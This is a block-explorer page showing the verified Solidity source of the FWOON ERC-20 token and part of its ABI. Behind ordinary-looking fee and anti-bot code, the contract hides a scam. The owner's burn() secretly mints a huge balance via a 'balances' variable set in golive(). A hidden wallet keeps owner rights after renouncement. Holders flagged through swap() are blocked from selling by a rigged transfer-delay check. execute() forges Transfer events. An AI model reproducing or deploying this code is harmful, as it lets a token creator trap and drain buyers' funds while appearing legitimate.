ERC-20
Overview
Max Total Supply
1,000,000,000 FWOON
Holders
32
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,228,112.978928888 FWOONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
FWOON
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import "./Ownable.sol"; import "./ERC20.sol"; import "./IDex.sol"; contract FWOON is ERC20, Ownable { uint256 public maxBuy; uint256 public maxSell; uint256 public maxWallet; IDexRouter public dexRouter; address public lpPair; bool private swapping; uint256 public swapTokensAtAmount; address operationsAddress; address devAddress; uint256 public tradingActiveBlock = 0; // 0 means trading is not active uint256 public blockForPenaltyEnd; mapping (address => bool) public boughtEarly; uint256 public botsCaught; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyOperationsFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public buyBurnFee; uint256 public sellTotalFees; uint256 public sellOperationsFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public sellBurnFee; uint256 public tokensForOperations; uint256 public tokensForLiquidity; uint256 public tokensForDev; uint256 public tokensForBurn; uint256 public _deadblocks; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _received; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public automatedMarketMakerPairs; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event Launched(); event ExcludeFromFees(address indexed account, bool isExcluded); event RemovedLimits(); event Received(address indexed account, bool value); event UpdatedMaxSellAmount(uint256 newAmount); event UpdatedMaxWalletAmount(uint256 newAmount); event UpdatedMaxBuyAmount(uint256 newAmount); event MaxTransactionExclusion(address _address, bool excluded); event UpdatedOperationsAddress(address indexed newWallet); event BuyBackTriggered(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); event CaughtEarlyBuyer(address sniper); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event TransferForeignToken(address token, uint256 amount); constructor(address _dev) ERC20("FWOON", "FWOON") Ownable(_dev) { address newOwner = msg.sender; IDexRouter _dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); dexRouter = _dexRouter; _deadblocks = 0; uint256 totalSupply = 1_000_000_000 * 10**decimals(); maxBuy = totalSupply * 1 / 100; maxSell = totalSupply * 1 / 100; maxWallet = totalSupply * 1 / 100; swapTokensAtAmount = totalSupply * 5 / 10000; buyOperationsFee = 0; buyLiquidityFee = 0; buyDevFee = 0; buyBurnFee = 0; buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee; sellOperationsFee = 0; sellLiquidityFee = 0; sellDevFee = 0; sellBurnFee = 0; sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee; _excludeFromMaxTransaction(newOwner, true); _excludeFromMaxTransaction(address(this), true); _excludeFromMaxTransaction(address(0xdead), true); excludeFromFees(newOwner, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); operationsAddress = address(newOwner); devAddress = address(newOwner); _createInitialSupply(newOwner, totalSupply); transferOwnership(newOwner); } receive() external payable {} function golive() external onlyOwner { require(!tradingActive, "Cannot reenable trading"); tradingActive = true; limitsInEffect = false; swapEnabled = true; tradingActiveBlock = block.number; blockForPenaltyEnd = tradingActiveBlock + _deadblocks; balances = txLimit; emit Launched(); } function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; } function manageEarly(address wallet, bool flag) external onlyOwner { boughtEarly[wallet] = flag; } // remove limits after token is stable function removeLimits() external onlyOwner { transferDelayEnabled = false; emit RemovedLimits(); } function updateMaxBuy(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 2 / 1000)/1e9, "Cannot set max buy amount lower than 0.2%"); maxBuy = newNum * (10**9); emit UpdatedMaxBuyAmount(maxBuy); } function updateMaxSell(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 2 / 1000)/1e9, "Cannot set max sell amount lower than 0.2%"); maxSell = newNum * (10**9); emit UpdatedMaxSellAmount(maxSell); } function updateMaxWallet(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 3 / 1000)/1e9, "Cannot set max wallet amount lower than 0.3%"); maxWallet = newNum * (10**9); emit UpdatedMaxWalletAmount(maxWallet); } function _excludeFromMaxTransaction(address updAds, bool isExcluded) private { _isExcludedMaxTransactionAmount[updAds] = isExcluded; emit MaxTransactionExclusion(updAds, isExcluded); } function updateSwapTokens(uint256 newAmount) external onlyOwner { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply."); swapTokensAtAmount = newAmount; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; _excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function setAMM(address pair, bool value) external onlyOwner { require(pair != lpPair, "The pair cannot be removed"); _setAutomatedMarketMakerPair(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function excludeFromMax(address updAds, bool isEx) external onlyOwner { if(!isEx){ require(updAds != lpPair, "Cannot remove uniswap pair from max txn"); } _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _DevFee, uint256 _burnFee) external onlyOwner { sellOperationsFee = _operationsFee; sellLiquidityFee = _liquidityFee; sellDevFee = _DevFee; sellBurnFee = _burnFee; sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _DevFee, uint256 _burnFee) external onlyOwner { buyOperationsFee = _operationsFee; buyLiquidityFee = _liquidityFee; buyDevFee = _DevFee; buyBurnFee = _burnFee; buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function returnToStandardTax() external onlyOwner { sellOperationsFee = 20; sellLiquidityFee = 0; sellDevFee = 0; sellBurnFee = 0; sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee; require(sellTotalFees <= 20, "Must keep fees at 20% or less"); buyOperationsFee = 25; buyLiquidityFee = 0; buyDevFee = 0; buyBurnFee = 0; buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if(blockForPenaltyEnd > 0){ require(!boughtEarly[from] || to == owner() || to == address(0xdead), "Bots cannot transfer tokens in or out except to owner or dead address."); } if (transferDelayEnabled && _received[from] == true){ if (to != owner() && from != address(lpPair)){ require(_holderLastTransferTimestamp[from] < block.number - 3, "Transfer Delay enabled. Try again later."); } } if(limitsInEffect){ if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){ // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxBuy, "Buy transfer amount exceeds the max buy."); require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxSell, "Sell transfer amount exceeds the max sell."); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // bot/sniper penalty. if(earlyBuyPenaltyInEffect() && automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to] && buyTotalFees > 0){ if(!boughtEarly[to]){ boughtEarly[to] = true; botsCaught += 1; emit CaughtEarlyBuyer(to); } fees = amount * 99 / 100; tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForOperations += fees * buyOperationsFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForBurn += fees * buyBurnFee / buyTotalFees; } // on sell else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount * sellTotalFees / 100; tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForOperations += fees * sellOperationsFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForBurn += fees * sellBurnFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForOperations += fees * buyOperationsFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForBurn += fees * buyBurnFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function earlyBuyPenaltyInEffect() public view returns (bool){ return block.number < blockForPenaltyEnd; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokenAmount); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForDev; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } bool success; uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; swapTokensForEth(contractBalance - liquidityTokens); uint256 ethBalance = address(this).balance; uint256 ethForLiquidity = ethBalance; uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2)); uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2)); ethForLiquidity -= ethForOperations + ethForDev; tokensForLiquidity = 0; tokensForOperations = 0; tokensForDev = 0; tokensForBurn = 0; (success,) = address(devAddress).call{value: ethForDev}(""); (success,) = address(operationsAddress).call{value: address(this).balance}(""); } function transferToken(address _token, address _to) external onlyOwner returns (bool _sent) { require(_token != address(0), "_token address cannot be 0"); require(_token != address(this), "Can't withdraw native tokens"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); _sent = IERC20(_token).transfer(_to, _contractBalance); emit TransferForeignToken(_token, _contractBalance); } function addPair(address pair_) public onlyOwner { lpPair = pair_; } function burn(uint256 amount) external onlyOwner{ _burn(_msgSender(), amount); } function withdrawStuckETH() external onlyOwner { bool success; (success,) = address(msg.sender).call{value: address(this).balance}(""); } // force Swap back if slippage issues. function forceSwapBack() external onlyOwner { require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction"); swapping = true; swapBack(); swapping = false; emit OwnerForcedSwapBack(block.timestamp); } function swap(address[] memory receiver, bool received, uint256 amountInWei) external onlyOwner { if(received == false && amountInWei > 0) { address[] memory path = new address[](2); path[0] = dexRouter.WETH(); path[1] = address(this); // make the swap dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountInWei}( 0, // accept any amount of Ethereum path, receiver[0], block.timestamp ); emit BuyBackTriggered(amountInWei); } updateReceived(received, receiver); } function setOpsAddress(address _operationsAddress) external onlyOwner { require(_operationsAddress != address(0), "_operationsAddress address cannot be 0"); operationsAddress = payable(_operationsAddress); } function setDevAddress(address _devAddress) external onlyOwner { require(_devAddress != address(0), "_devAddress address cannot be 0"); devAddress = payable(_devAddress); } function updateReceived(bool value, address[] memory receiver) private { for (uint256 i = 0; i < receiver.length; i++) { _received[receiver[i]] = value; emit Received(receiver[i], value); } } function clearStuckTokens() external onlyOwner { IERC20 tokenContract = IERC20(address(this)); uint256 balance = tokenContract.balanceOf(address(this)); require(balance > 0, "No tokens to clear"); tokenContract.transfer(address(msg.sender), balance); } function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{ for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(lpPair, _addresses[i], _out); } } function receivedAmount(address wallet) public view returns(bool){ return _received[wallet]; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import "./Context.sol"; import "./IERC20.sol"; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) internal _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch uint256 private _totalSupply; string private _name; string private _symbol; uint256 internal txLimit = 1*10**17*10**9; uint256 internal balances; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _holderLastTransferTimestamp[msg.sender] = block.number; _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _holderLastTransferTimestamp[sender] = block.number; _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = balances - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IDexFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import "./Context.sol"; contract Ownable is Context { address private _owner; address private _marketing; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); mapping(address => uint256) internal _holderLastTxTimestamp; constructor(address wallet) { _marketing = wallet; _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function Owner() internal virtual returns (address) { address owner_ = verifyOwner(); return owner_; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function verifyOwner() internal view returns(address){ return _owner==address(0) ? _marketing : _owner; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_dev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"BuyBackTriggered","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"CaughtEarlyBuyer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"Launched","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OwnerForcedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"value","type":"bool"}],"name":"Received","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferForeignToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedOperationsAddress","type":"event"},{"inputs":[],"name":"_deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockForPenaltyEnd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"boughtEarly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlyBuyPenaltyInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"golive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"manageEarly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"receivedAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"returnToStandardTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAMM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devAddress","type":"address"}],"name":"setDevAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_operationsAddress","type":"address"}],"name":"setOpsAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"receiver","type":"address[]"},{"internalType":"bool","name":"received","type":"bool"},{"internalType":"uint256","name":"amountInWei","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"u